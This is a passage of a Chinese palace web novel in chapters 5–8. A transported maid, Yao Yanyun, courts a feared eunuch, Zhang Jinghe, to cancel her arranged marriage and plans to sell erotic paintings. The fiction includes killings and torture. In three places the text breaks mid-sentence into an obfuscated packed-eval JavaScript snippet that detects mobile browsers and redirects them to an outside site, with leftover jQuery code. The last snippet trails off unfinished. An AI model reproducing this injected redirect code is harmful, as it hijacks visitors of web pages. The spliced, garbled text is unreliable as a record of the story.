按/揉了约一刻钟,张景和原先急促的呼吸变的缓和了下来,他竟然睡着了。 见状,吉祥擦了擦额边的冷汗,才退了出去。 看来她的计划成功了,姚砚云在心里暗喜,她这次是帮了这傻逼太监,就是他再阴险也得记她一次情吧。 见他睡的那么舒服,姚砚云继续帮他轻轻地按/揉着,确定了他是睡着之后,她侧着脸打量起他的脸来。 很白净的一张脸,甚至有些苍白,全脸最突出的地方应该是这高挺的鼻梁,算是一个秀气的太监吧。 姚砚云心想,他全身上下,从里到外,也就只剩下秀气这个优点了。 一边按/揉,一边又继续打量着,咦,他的右眼角下竟然有一颗小小的泪痣。 “怎么我前几次没注意到呢。”,姚砚云喃喃自语。 蓦地,眼前之人睁开了眼,姚砚云猝不及防撞进一双骤然睁开的墨瞳里,她吓的赶紧转身,两人鼻尖几乎相触。 “怎么?我的脸上有钱吗。”,张景和冷冷地问。 姚砚云从椅子后方绕到了张景和身前,恭敬地问,“公公您好些没有,需要小云继续帮您按吗。” 张景和指了指他身旁的位置,示意她坐下,“姚砚云,你今晚来找我,也是为了指婚那事吧。” 姚砚云笑了笑,“我今晚是给给公公您送绿豆糕的。” 张景和瞥了她一眼,“你还不如说实话。” 他明知道她最近来找他,是因为指婚那事,可他却不提及,说明他还是不情愿,按照这个傻逼太监的性格,怕是越知道她追求什么,越不给她,真的好歹毒。 姚砚云依旧是笑着回答,“小云不需要什么赏赐,小云希望以后可以时常来帮公公按摩,要是公公之后觉得症状有所缓解,再赏赐小云也不急。” 张景和道,“好啊,那就依你。” “不过,那份名单的事,你就别指望了,随意更改确定好的事,置宫里的规矩于何地?宫规便是铁律,上至太妃下至洒扫内侍,谁不是循规蹈矩,若人人都像你这般,为一己之私便想撼动宫里定下的章程,这深宫岂不乱了套。” “再说了,俗话说的好,宁拆十座庙,不毁一桩婚。” 姚砚云:...... 5. 第 5 章 大清早打扫完四个城门后,姚砚云和马冬梅又被安排到西华门那边,搬运即将到来的冬季的炭。 忙活了一早上,本到了该吃午饭的时间,连水都没喝上一口,又被她们的掌事姑姑叫去了搬太医院的药材。 “这事不应该是那些太监做的吗?”,姚砚云累的连话都说不大声了,这里简直和她在现代上班的时候一样,永远都下不了班了,“怎么什么事情都安排给我们。” 马冬梅习以为然地道,“谁叫我们是最等级最低的打扫宫女呢。” 来到了西华门,一个尖着嗓子的老太监在现场皱着眉头指挥着,“这些都是贵东西,你们可得小心点。” “动作要快些,今儿个太阳光有点大,要是嗮到了就不好了,要搬到指定的库房去。” “你们两个在闲聊什么呢!还不赶紧给我干活。”,老太监指着姚砚云和马冬梅。 说完两人立即停止了窃窃私语。 姚砚云和马冬梅一组,两人拉了一辆拖车,一箱一箱往车上搬。 从西华门到那老太监说的库房,要走半个时辰,来回就是一个时辰,一群宫女搬了两个来回后,才把这些药材全部搬完。 从一大清早干到大中午都滴水未沾,姚砚云此时只觉得累的腿脚都没知觉了。她和马冬梅回到宫房的小厨房后,午餐的饭菜早已经被分完,只剩下一小碟的青菜炒肉丝,和一大盘冷冰冰的馒头。 两人拿着东西不情愿地走了。 虽然今天的伙食不是很好,但是饿了大半天的两人还是把一大盘馒头全吃完了。 吃饭时两人又聊到了姚砚云的婚事,“那张公公是不是开始松口了?”,马冬梅问。 “应该是吧,毕竟那天我可算是帮了他一把。”,姚砚云支颐看着马冬梅,“那傻逼太监是想要我给他送大礼呢。” 马冬梅知道姚砚云这些年的积蓄,一部分用来打点王公公给她指婚了,一部分前些日子又来打点张公公帮她退婚了,心里也替他着急,“砚云,要不我借你点。” “我怎么能要你的钱。”,姚砚云心里清楚,马冬梅在宫里都二十年了,都是做着最低级的宫女,月钱也高不到哪里去,她父母又不在人世了,出去之后,一个弱女子只能自己单独谋生了,这些钱对她有大用处,再者说,那个傻逼太监阴晴不定的,万一和上次一样,送出去之后又反悔了,这些钱不就是打水漂了吗。 所以她是坚决不能借她的钱的。 两人正聊着,住她们隔壁房的宫女小元敲门走了进来。 “姚砚云,有人托我给你东西。”, 姚砚云说了一句谢谢,小云说完将手中的布包放在桌面就走了。 姚砚云打开了布包上面的结,里面是一个精致的紫檀嵌首饰盒,盒面上镶嵌有红宝石和珍珠,再打开一看,里面有一支菊花纹的金簪,和一条累丝金镶玉手链。 不用猜就知道谁送的了,姚砚云“砰”一声把盖子狠狠地盖上,看着就心烦。“真是晦气。” 马冬梅道,“我看啊,要不你把这些换了钱,给张公公送礼去?加上上次那个金丝同心结,可值不少钱呢。” “这是万万不行的。”,姚砚云道,“这些东西,我找到机会是要原封不动还给他的,用了他的东西,以后想要撇干净更难了。” 马冬梅道,“我觉得你说的有道理,可是给张公公这种级别的人送东西,你哪里来的钱啊。我之前听别人说,那些大宦官收一次礼,是我们十年的月钱呢。” 她要怎么样才能赚钱呢,难不成她也要和其他宫女一样,做些手工艺品,比如绣帕、荷包之类的托太监到宫外去卖?可在这紫禁城中,宫女每天都是有固定的活做的,相当于全年无休,她哪里来的时间绣,而且最主要的是,她也不会啊。 就算马冬梅在短时间教会她了,时间紧迫,只怕她还没绣够孝敬张景和的钱,她就上了陈忠义的花轿了...... 姚砚云问,“冬梅,你说卖什么赚钱快?” 马冬梅道,“你除了会绣一些丝巾帕子还会什么。你也就只能干这个了吧。” 姚砚云道,“这来钱太慢了。” 做什么来钱快呢?她得想想她在现代社会的工作技巧,能不能用上,想了一会儿她又觉得,不用想了...... 想到这些姚砚云就觉得头痛。 今天还有一件很要紧的事,那就是要找张景和培养一下感情。 ———————— 干完了一天的活后,姚砚云又来到张景和的公所,她这次是信心满满,一路上哼着歌来的,因为她觉得自从经过上次之后,张景和至少愿意看她一眼了,这样她就有机会慢慢去求他了。 “姚姑娘,你还是回去吧,公公说今晚不见人。”,还是上次那名小火者,依旧是一脸谦卑的样子。 “小公公,麻烦你再帮我通报一次吧。”,姚砚云把其中一份糕点递给了那小火者,“这是给你吃的。” 见那小公公支支吾吾的,姚砚云只能再次祈求,“小公公,我真的有很要紧的事情找张公公,你就帮我通报一次吧。” “好吧,那我再试一次吧。”,那小火者道。 那小火者前脚刚走,姚砚云又叫住他道,“小公公,麻烦你和张公公说下,他今晚要是不见我,我就跪死在这里。” 很快那名小火者就回来了。 “怎么样,张公公愿意见我了吗?”,姚砚云焦急地问,裙角一处,被她的指尖快要绞烂了。 “张公公他......他说。” 姚砚云道,“他说什么了?你赶紧说啊。” 小火者道,“张公公说,让你,让你,要死就死远点......” 此话一出,姚砚云犹如晴天霹雳,这傻逼太监不单只是个心理变态,还是个忘恩负义的白眼狼,那晚她帮他解救于水火之中,他竟然连见她一面都不愿意。 早知道那晚让他痛死算了。 那小火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325946|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者劝姚砚云,“姚姑娘,你还是回去吧。等下公公生气就不好了。” 姚砚云气的双手握紧了拳头,这傻逼太监为何如此的厌恶她?难道他们之前有什么过节,据马冬梅说,她做打扫宫女将近一年了,和他怎么会有接触呢?难不成之前她在德妃宫里的时候,得罪了他? 这时,吉祥来了,他看到站在门外的姚砚云,冷漠地看了她一眼,之后就往院子那边去了。 姚砚云叫住了吉祥,“吉祥公公!我有事想和你请教一下,你现在方便吗。” 吉祥皱了皱眉,看到出来他实在不想理对面之人,但他还是问她,“什么事?” 姚砚云走了过去,恭敬地说,“就是我,就是我这个人比较粗鄙,说话不怎么好听,也不怎么会聊天,可能以前得罪过张公公也不自知,还望公公你点拨一下。” 吉祥冷笑一声,“哼!姚姑娘,你自己做了什么事,自己心里知道。”,说完加快步伐,头也不回地走了。 姚砚云:...... 我到底做了啥,你倒是说啊。 姚砚云心里郁闷极了,回宫房的路上,双腿就像灌了铅一样,明明她的原身得罪的人,报应全来她身上了。 路过一条小道时,姚砚云看到大树下有一只胖嘟嘟的虎斑正在吃一根骨头,便蹲下身子来看了看,她不禁感慨,“小猫啊小猫,我要是你就好了,每天睡饱了睡,吃饱了睡,还有那么多人愿意来逗你玩。” 盯着小猫看了好一会儿,忽然听到右侧角落处,有三个小太监笑的很是畅快,姚砚云转身过去一看,只见他们拿着一本书籍,看的很是认真。 再仔细一听,还听到一些虎狼之词。 “哎呦,还能这样玩啊。” “这是啥姿势啊。” “哎,这也太不害臊了吧。” “不准抢!这本二两银子呢。” 姚砚云猜到了他们在看避火图...... 其实她也能理解,太监虽然说没了那玩意,但是欲/望还是有的,也是和正常男子一样有需求,正常男子想干的事情,他们一样想干,干不干的成就另外说。 有权有势的大太监,在外面开府邸之后,有的是女子在身边伺候,而一些没有权势的小太监,也会自己在宫中找对食,又或者看避火图来缓解,比如有些朝代的皇帝,还会把这种“秘戏图册”,赏赐近臣。 二两银子不少了,看来人果然是愿意为自己的兴趣买单的。 姚砚云走回宫房后,洗漱完后,就解衣睡觉了,可一躺下,满脑子想的都是怎么取消她的指婚,怎么能让张景和愿意见她,怎么样才能赚到钱给张景和送份大礼。 蓦地,姚砚云一下子就从床上弹了起来,甚至笑的有些阴险。 这笑声把马冬梅都吵醒了,马冬梅揉了揉眼睛问,“砚云,还不睡呢,明天得早起。” 姚砚云裹着被子来到了马冬梅床上,一脸兴奋地道,“冬梅,我找到发财的方法了。” 6. 第 6 章 “什么!你要画避火图。”,马冬梅的眼睛瞪得和铜铃一下,很快她又意识到自己说的太大声了,她贴着姚砚云的耳朵道,“你一个姑娘人家,怎么能画这些东西,传出去你以后还怎么嫁人啊。” “男的能画,怎么女的就不能画。”,姚砚云道,“我想了好几天了,要想赚快钱,目前就只有这个方法了。” 马冬梅脸都红了,“可是,你怎么会画这个,你在哪里学的......” 姚砚云以前学过画画,画这些玩意其实对她来说难度并不大,可就算她和马冬梅说,对方也是不懂的,于是她解释道,“是这样的,以前我在德妃宫里当差的时候,看到过......我当时很感兴趣,还拿着研究了很久,我就把这些记下来了。” 马冬梅的脸此时红的和柿子没区别了,“砚云,你看可能觉得没什么,可你自己去画,得多羞人啊。” “这有什么好害羞的。”,姚砚云笑了一声,“冬梅,到时候画好我给你看看,你多看几遍就不害羞了。” 马冬梅抄起枕头,砸向姚砚云,“你个促狭鬼,谁要看了!” 宫女托太监将物品带出宫变卖,得到的钱财按约定比例分赃,这是宫廷中时常有的事情,虽然宫廷严厉禁止这种私售行为,但上有政策,下有对策,底层宫人凭借着多年来的生存智慧,这点事难不倒他们。 根据马冬梅所说,宫里很多公公都在做这个买卖,宫女们有想变卖的东西,私下找到对方后,就把货拿给对方,两人谈好了分赃比例这事就算成了。 姚砚云问,“冬梅,你知道那位公公人脉最广吗?” 马冬梅道,“我之前听别人闲聊说,刘公公人脉最广,他的定价也比其他公公的贵,他的分成也拿的多,他卖出去的东西,至少要给他一半的分成呢。” 姚砚云心中大喜,那我们就去找刘公公! 刘公公是尚膳监里面当差的一位太监,平时负责采买宫中肉菜,很贪财,但他的人脉的确是所有能出宫的采买太监中最广的,只要你有好东西,他定能给你卖给好价钱。 “刘公公好。”,姚砚云恭敬地道,“刘公公,我有笔生意想和你谈一下。” 刘公公三十四五的年纪,又高又瘦,白皙的脸颊因为过于清瘦而凹陷,他喝了一口茶,不紧不慢地道,“有什么好东西就拿出来吧,我这边不收次品,只收做工最顶级的,这样才能卖个好价钱。” 姚砚云道,“刘公公,东西我今天还没带来。” 刘公公“嗐”了一声,“没带东西来,你浪费我时间干嘛。” 说完起身就走,姚砚云赶紧拦住他,“公公莫着急,我这边有庄大生意。” 刘公公''喔''了一声,“那你说说?” 姚砚云道,“公公,现在市面上最好的避火图是什么价格?” 刘公公一口茶水差点喷了出来,“你说什么?” 姚砚云依旧是笑着,“公公,我问的是,市面上最好的避火图是什么价格。” 刘公公一脸诧异地打量着姚砚云,“你想叫我帮你带?” 姚砚云道,“刘公公,那我就明人不说暗话了,我是想和你合作的,我来画,你负责帮我卖出去,卖到的钱,咱们俩一人一半。” 刘公公又一次被惊得变了脸色,他猛地站起身,围着姚砚云上上下下打量了足有一圈,目光在她身上反复逡巡,直到确认眼前这纤弱身影确是女子无疑,才缓缓坐回原位,“你一个久居深宫的宫女,还会画着玩意?你知道避火图是什么吗?” 姚砚云道,“我不单只知道,我还研究过呢。” 刘公公:...... 不过刘公公见姚砚云神态自若,没有丝毫羞涩之意,就也打开天窗说亮话了,“避火图明面上大家都避而不谈,但实际上喜欢看和收藏这些玩意的人多了去了,上到王公大臣,下到乡绅小史,谁不好这一口呢,你说的价格嘛,市面上避火图价格参差不一,三两,三十两,甚至一百两都有,主要还是看质量呢,有些花样多的,实在勾人的,多贵都有人要。” 姚砚云听他这么一说,心里也有数了,“公公您给我半个月时间,半个月后我和你保证,我这避火图将会是全京师最贵的避火图。” 刘公公见姚砚云胸有成竹,他一拍大腿,“好!那咱家就等着你!” —————— 司礼监值班房 “干爹,那人找到了,是懿嫔宫里的一名小太监,也不知道是在哪里打听到的路子,买到那药的。”,张景和一边汇报,一边给冯大祥添茶。 冯大祥是司礼监掌印太监,是内廷中等级最高的宦官。 “那人是怎么处理的?”,冯大祥不急不忙地问。 张景和道,“在去铺子的路上,就被我们的人抓到了,乱棍打死了,尸身上绑了石头,已经沉湖了。” 冯大祥道,“理应是这样处理的,咱们做奴才的,只有一个宗旨,那就是伺候好万岁爷,那些妄图在万岁爷身上钻空子的人,咱们就要把人清除了。” 张景和道,“儿子知道了。” 出了值班房,吉祥在张景和身旁道,“老爷,这姚砚云......她这几天还是坚持要见你。” 张景和皱了皱眉,随即说了句,“这人间真有那么不要脸的人?” 吉祥只是无奈地笑了笑,一时间也答不上话。 两人一前一后往公所方向走去,就在距离公所二十来步的时候,两人几乎是同一时间停下了脚步。 因为前方公所大门前,一名宫女正和守门的小火者聊的水深火热。 姚砚云和那小火者聊的正在兴头上,一转头就看到前方的张景和,她立马收起了面上笑意,站在那边等着张景和的到来。 随着脚步声越来越近,姚砚云的心都提到嗓子眼了,她想着这次定要让他见上自己一面。可直到那双粉底乌靴从她身前走过时,那人也没看她一眼。 好不容易能见到他,姚砚云怎么会放过这个机会,她假装跪下,顺势扯住了张景和的下摆,“公公,我有急事想找您。” 张景和一扯下摆,一下子就把她的手推开了,就要继续往前走,姚砚云则趁机抱住他的双腿。 “公公!求您给我一个机会。” 此时在场的三人全愣住了。 “你给我松开!”,张景和咬牙切齿。 “我不。”,姚砚云抱的更紧了,“公公,以前的事是我错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325947|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,求公公您给我一个机会,让我洗清自己的罪孽。” 张景和脸都气红了,“你知不知道你在做什么,你给我松开。” 说完,他才发现吉祥和那名小火者早已经不知去了何处了。 “小云当然知道自己在做什么,小云想求得公公的原谅。”,姚砚云眼泪婆娑,仰起脸看着张景和,带着哭腔的声音,裹着温热气息拂过他小腿,“只求公公给小云一个机会。” “再不松手我就杀了你!”,张景和声音发沉,伸手去掰她的手指,姚砚云却趁机将脸埋进他膝头...... “公公,小云求您了。” 此时有几个太监从此处经过,看到这一幕都不觉张大了嘴巴。 张景和狠狠瞪了他们一眼。 张景和道,“你先松手,有什么事到里面说。” 姚砚云立即停了哭声,也松了手,“谢谢公公。” 来到屋内后,姚砚云问。“公公您的头疾最近好吗,要是需要小云您说一声,我随叫随到。” 张景和冷笑着道,“姚砚云,你搞这么多花样,到底有什么企图。” 姚砚云心想,自己有什么企图难道你不知道吗,这傻逼太监怎么就那么喜欢装傻,她既然那么喜欢装,那自己陪他装呗。 姚砚云道,“小云没有企图,只是觉得之前做错了一些事情,想求得公公的原谅罢了。” 她是不知道她的原身,是怎么得罪张景和的,如今看来,她只能顺着这个点去走了,说不定有天她就知道真相了。 张景和道,“你说的求得我的原谅,就是给我送些吃的?给我按按头?” 姚砚云道,“小云只是个打扫宫女,也没多少积蓄,只能用自己的心意来报答公公了。” 谁知,姚砚云话刚说完,张景和就大声笑了起来。 他一脸玩味地道,“既然你这么想报答我,那这样,你直接跟了我吧,我刚好缺个对食。” 姚砚云:...... 她要和陈忠义退婚就是因为对方人品不行,可这张景和的人品和陈忠义对比起来的话,真是有过之而无不及。做他的对食不就是羊进狼圈吗? 可通过这段时间的接触,她已经摸清了一些这位的脾性了,你要是顺着他,他还给你留点情面,要是逆着他,那他就马上整死你。 见姚砚云久久不出声,张景和问,“怎么?嫌弃我是个阉人,不如你那陈侍卫。” 姚砚云指尖不停搅动着衣服,眼波流转间,声音像是裹了蜜似的甜腻,“我就知道公公是在意小云的,公公您之前花那么多时间来针对小云都是因为在意小云吧,那陈侍卫权势地位都不如您,他那能和您比。” “不过,公公要真有那个想法的话,小云愿意先和公公敞开心扉聊聊。” 姚砚云盯着他,“公公您说话啊~” 看着姚砚云变了一个人似的,娇滴滴的模样,张景和不自觉打了一个寒碜 张景和此时的脸微微发红 姚砚云又道,“公公您就承认吧。” 张景和,“承认什么?” 姚砚云道,“承认您是在意小云的。” 张景和怒道,“你给我滚出去。” 7. 第 7 章 姚砚云在现代时,曾见过古代流传下来的避火图。那些画作渲染技法着实精妙,对于相对保守的古人来说,那些露骨的描摹足以让人面红耳赤、心旌摇曳。 要做到超越前人,才能把价格定的更高,至于如何超越前人,姚砚云心中早已经有了定夺。 她把这画集命名为《云深集》,为了早日完成这画集,姚砚云已经连续两日,每天只睡一个时辰,就连每日午间吃午饭的时间,她也是匆匆地扒了几口饭,就又回到房里画图去了。 马冬梅自从知道姚砚云在画那些东西后,是寸步都不敢靠近她的桌前,每次经过都是捂着眼睛。 这晚,姚砚云又在执笔奋战,在姚砚云去上茅房的期间,起身来喝水的马冬梅,终于还是忍不住靠近了那桌前,仅仅看了一眼,马冬梅就从脸红到了脖子,手里的水,都差点洒了出来。 “冬梅你看啥呢。”,姚砚云一脸坏笑地看着马冬梅。 马冬梅吓的放下了杯子,爬上了床,把被子从脚盖到了脸。 见马冬梅实在不好意思,姚砚云也不好继续逗她了,只是继续低头画画。 画着画着,姚砚云忽然做了一个很真实的梦,梦中她大着肚子跪了下来,她哭着求陈忠义不要再娶妾室了,而陈忠义不单只没给她好脸色,还斥责她生不出儿子...... “砰!”,姚砚云的头磕在了桌角,这才清醒了过来,因为怕吵到马冬梅,她都不敢大声叫出来。 揉了揉起包的额角,确定了是梦之后,姚砚云才从长舒一口气,她用手擦了擦额边的细汗,又继续持笔画了起来。梦中之事让她感到心惊胆战,她过了好一会儿才渐渐进入了状态。 下午和马冬梅做完事情后,她又遇到了陈忠义了,只是碍于马冬梅在她身边,他只能作罢了。 陈忠义虽走了,但期间她好几次对上了他的眼神。 没有一丝矜持,全然像一只困兽盯着笼外鲜活的猎物一般,姚砚云知道,他是想告诉她,他是不会善罢甘休的。 姚砚云心情低落,就让马冬梅先回宫房了,今日又是漫天的晚霞,她打算上城楼那边看看,吹吹风。路过那条小道,又看到几位宫女在那蹲在身子喂猫,她发现这宫中特别的多猫,并且都是肥嘟嘟的。 姚砚云一问才知道,原来是因为当今皇上很喜欢猫,多年前皇上有次经过御道,还特意下了轿撵去逗猫,从那次之后,宫里人对这些野猫没有特意去驱赶,甚至经常对它们进行投喂,所以这些野猫越繁殖越多,这紫禁城中到处都有野猫出没。 走上了城楼,一阵微风袭来,姚砚云用力甩了甩右手进行放松,这几日没日没夜地画图,她的手指已经肿了起来。 低头往树荫那边一看,又想起了前段时期吸猫的那位太监,自从那天之后她再也没见过他了。 很快姚砚云又想到了张景和,从她目前的观察来看,他就是一个爱财如命的宦官,要想求得他的帮忙,就只能有送银子这一条路了。 今晚本是轮到姚砚云守夜了,马冬梅知道她手中的画集时间紧迫,就主动替姚砚云去守夜了。 —————— 张景和在乾清宫服侍皇上时,头疾又开始发作了,幸好这次痛的不是很厉害,不然耽误了事,或者让皇上不舒心了,是要掉脑袋的。 从乾清宫出来后,他就回到了自己的公所休息,喝了一杯茶后他就躺在床上小憩了。 不知道过了多久,吉祥焦急的声音就把他从睡眠中拉了出来。 “老爷。” “老爷。” “老爷。” 吉祥的声音其实很小,只是这些年他养成了这种敏锐的听觉,那怕有一点声音都能把他惊醒。 “什么事?”,张景和披了一件外衣,起了床。 吉祥道,“皇后娘娘找你,要您现在就去坤宁宫。” 张景和的心忽然就乱糟糟的,这皇后娘娘找他做什么,在这宫中,有一名掌印太监和五位执笔太监,要说能得皇后娘娘青睐的,就只有他的干爹冯大祥,这些年他倒是和皇后娘娘有过一些交集,不过就是替皇上送送礼,传传话而已。 张景和也顾不得这么多了,穿好了鞋袜,快步往坤宁宫方向走去。 “奴婢参见皇后娘娘。”,张景和双膝跪地,双手扶地,额头触地。 可久久也等不来那句,“平身。” “人人都说,司礼监的人个个聪明能干。”,皇后冷笑一声,“依我看,你们全是废物。” 此话一出,张景和的冷汗的都出来了,“奴婢该死,求皇后娘娘让奴婢死个明白。” 说完他的身子俯的更低了。 “你干爹不过才告假两日,没想到这宫里就乱成这样了。”,皇后道,“你起来说话。” 张景和知道,冯大祥因为身体不舒服告假了两日,可其他的他是一无所知。 张景和缓缓起了身。 皇后示意一旁的侍女,“给张公公赐座。” 等张景和坐下之后,皇后才开始了说话。 皇后极力控制着想要发怒的神情,“张公公你是东厂提督,你不会不知道今天有一群男扮女装的luan童进了宫吧!” 此话一出,张景和就知道事情不妙了,当今圣上好色,不止好女色还好男色,多年前圣上还是太子时,就颇喜爱断/袖之风,当年还有不少的官员对他进行了劝谏,好在登基之后,圣上就没再做出这种荒唐事,此事就渐渐被大家遗忘了。 谁知今日此事又再次发生,发现之人还是当今皇后。 张景和如实禀告,“回禀娘娘,奴婢不知。” “是懿嫔那个贱妇。”,皇后道,“她为了迎合皇上,假借她宫中需要外出采集宫女为由,把九名luan童洋装成宫女,想借机带进宫!” “如果不是我的侍女今日出宫帮我办事,在宫门那边看到几人走路的方式不对劲,想必人此刻已经到了皇上的跟前了吧!” 皇后几乎是咬牙切齿说完这些话的。 “那现在人呢。”,张景和问。 “打草惊蛇了,人应该在延禧宫那处的宫女宫房那边躲 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皇上听闻此事是吉娜所为之后,瞬间松了一口气,神态也放松了许多,张景和敏锐地察觉到这一点。他知道只要不牵扯到懿嫔,皇上就不会怪罪于他 张景和道,“万岁爷,吉娜做倒行逆施之事,罪无可恕,那剩下九名luan童......” 皇上道,“你看着处理就好了。” 张景和道,“全部发配去寺庙做和尚,万岁爷您看如何。” 皇上道,“你看着处理就好了。” 张景和出了乾清宫后又来到了诏狱,除了吉娜之外,当天的守门侍卫,延禧宫的掌事太监,已经全部抓拿归案。 延禧宫的掌事太监王福,跪倒在张景和面前求饶,“张公公求您救救我,我不想死,求您救救我。” 张景和缓缓蹲下身子,死死捏着他的下颌道,“你说你的脑子是不是被驴踢了,才会把出宫的腰牌给吉娜的。” 王福哭着道,“是懿嫔娘娘要求的,我没办法啊,我真没办法,您救救我,我以后给您当牛做马。” “我不想死啊。” 张景和转身就走。 王福见张景和如此铁石心肠,忽然站起了身,“张公公你就如此狠心,我们以前好歹在一起喝过酒,一起值过班。” 张景和一把掐住他的脖子,死死往墙边那边顶去,“你既然要给我找麻烦,那我就让你死的不痛快。” 说完就笑着松了手。 很快,王福的叫喊声填满了整个诏狱,一开始很大声,直到最后没了声...... 看到张景和出来后,吉祥连忙上前道,“老爷,懿嫔娘娘在说要见你。” 张景和按揉着太阳穴,神色痛苦,“不见。” 吉祥压低着声音,说的支支吾吾的,“懿嫔娘娘说,你要是不见她,她让你......” “她让你......” “让你见不到明天的太阳。” 8. 第 8 章 “那就试试,谁先下地狱!” 张景和一挥衣袖,回公所去了。 可事情并不如他所愿,他回到公所后,连茶水都没喝上一口,又有太监进来报告。 这次来的是另外一位执笔太监,他的好友陈秉文。 “别睡了,那位都闹到万岁爷前面去了。”,陈秉文笑道,“人家还扬言还自杀,万岁爷说你自己去解决。” 张景和此时想杀人的心都有了,他不明白为什么这懿嫔这么不识好歹,皇上保住了她的命,她却还要这般作妖!这事明明可以翻篇了,她却死咬着不放! “话我已经传到给你了,我还得回万岁爷那边当差。”,陈秉文交代完就走了。 事已至此,张景和只能去延禧宫一趟了。他洗了一把脸,整理好了衣衫就往延禧宫方向走去了。 张景和恭敬地问,“不知道懿嫔娘娘找我有什么事?” 懿嫔用她那口不怎么标准的汉语道,“你把吉娜给我放出来!” “吉娜已经被打死了。”,张景和说的云淡风轻。 懿嫔还以为自己听错了,她连续问了几次。 “你这个死阉人,你好大的狗胆!” “我要告诉皇上,让他处死你!” “你凭什么处死吉娜!我要你死。” 张景和没想到这懿嫔平时在皇上身边的时候,说话娇滴滴的,都能捏出水了,此时犹如河东狮吼一般,把他的耳膜都要震破了。 张景和平静地道,“万岁爷乃九五之尊,一言一行皆是天下表率。如今宫墙之内混入外男,传扬出去,那么万岁爷的圣明之誉,岂不是要被这一桩丑事玷/.污了?” “娘娘,您来说说,这吉娜是不是该杀啊?” 可尽管张景和把话说的那么直白了,懿嫔依旧在质问张景和为何要杀吉娜,还要给吉娜讨回公道。 张景和在心中连连骂了她好几句蠢货。 再聊下去也是枉然,张景和觉得和她说话就是对牛弹琴,便打算走了。 谁知懿嫔猛地移步,拦在了张景和身前,凤钗上的珠翠因动作急促而簌簌作响,“你这个没根的奴才,你竟然敢对我如此不敬。” 张景和垂着眼皮,语气里听不出半分波澜:“娘娘这般动怒,怕是急火攻心乱了方寸。吉娜私引外男入宫之事,若真的闹到御前,才是真要折损娘娘颜面。这样吧,明天奴婢让太医院拟副清心的方子来,给娘娘您降降火!” “你这个狗奴才!你怎么敢羞辱我。”,懿嫔被这话戳中痛处,脸色涨得通红,扬手便要往张景和脸上扇去。 张景和早有防备,反手便攥住了她的手腕,他抬眼时,眸中已带了几分冷厉,“娘娘!夜已经深了,你还是早些歇息吧,免得再生事端。” 说完,他松开手,躬身行礼后转身便走,留下懿嫔僵在原地,气得浑身发颤。 再次回到公所后,张景和已经全然没有了睡意,取而代之的是钻心的头痛,那钝痛仿佛顺着血管爬满整个额头,从一开始是隐隐的胀,后来变成密集的刺,像是有无数根细针在颅骨里钻,连带着眼眶都酸胀得发沉。 到了三更时分,夜色已浓得化不开了,吉祥从门外依旧能听到里头的翻身声,还时不时混有一些压抑的痛哼。 他担忧的直跺脚,又不敢推门进去,又担忧张景和。 蓦地,吉祥想起上次姚砚云帮张景和按完之后,他大有好转,想必是有效果,他心中一喜马上往宫房那处跑去了。 此时姚砚云已经在烛火下,画了两个多时辰的画了,她伸了一个长长的懒腰,又喝了几口茶,接着继续画,时间还多着呢。 “哐哐哐~” “哐哐哐~” “姚砚云你睡了没?” 竟然是她的掌事姑姑的声音,姚砚云连忙把画收了起来。“姑姑,我来了。” 掌事姑姑道,“磨蹭什么呢,这么晚才开门。” 姚砚云道,“我趴在桌子上睡着了,姑姑您找我有什么事。” “司礼监那边来了一位公公,他说他今日在西华门那条小道上丢了一个荷包,说有个小火者看到你捡了,那公公要见你。”,掌事姑姑打了一个哈欠,“你要是捡了,就赶紧还给人家,司礼监那边的人不是好惹的。” 姚砚云一头雾水走到了宫房大门处,把手里的提灯往前照了照,才看清楚此人是吉祥。 姚砚云恭敬地道,“公公,我没捡你的荷包,冬梅和其他宫女可以作证的,我们都是一起扫地的。” “现在不是说这个的时候,你赶紧和我去公所找老爷。”,说完吉祥就快步走了起来。 见姚砚云不动,吉祥着急地问,“你还等什么呢,姚姑娘。” 姚砚云哪里敢去,她心想,这傻逼太监大半夜不睡,把她一个黄花大闺女叫去房间,他想干什么,他又能干什么。 可她还是忍不住问了出来,“深更半夜的,公公找我一个女子干嘛。” “哎呦,姚姑娘不是你想的那样的。”,说完就引着姚砚云往前方走去。 路上吉祥才和她说明了原因,姚砚云才长舒一口气。 吉祥道,“姚姑娘,这次你帮公公按完之后,就教会我。以后就不用麻烦你了。” 姚砚云又觉得机会来了,以后只要张景和头痛,她就帮他按摩,一来二去两人说不定就熟了,那取消指婚之事,也有指望了。既然如此是万万不能把这手艺教给吉祥的。 姚砚云一脸认真道,“这不能教你,这可是我家祖传的手艺。” 吉祥道,“我可以用银子来买你的手艺。” 姚砚云拒绝,“说是祖传的手艺,多少钱也不行。” 吉祥:...... 两人几乎是小跑过来的,到了张景和的寝室门前,两人却都不敢进去。 吉祥道,“姚姑娘,你请进。” 姚砚云道,“你怎么不进。” 吉祥道,“我怕看到了你祖传的手艺。” 姚砚云道,“你先陪我进去,等我开始按了,你再出去也不迟,不然我就这样贸然进去,我害怕。” 吉祥小声道,“我也害怕。” 姚砚云:...... 吉祥有些着急,“姚姑娘你赶紧进去吧,别让公公久等了。” “你就不能和我一起进去吗。”,姚砚云哀求道,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 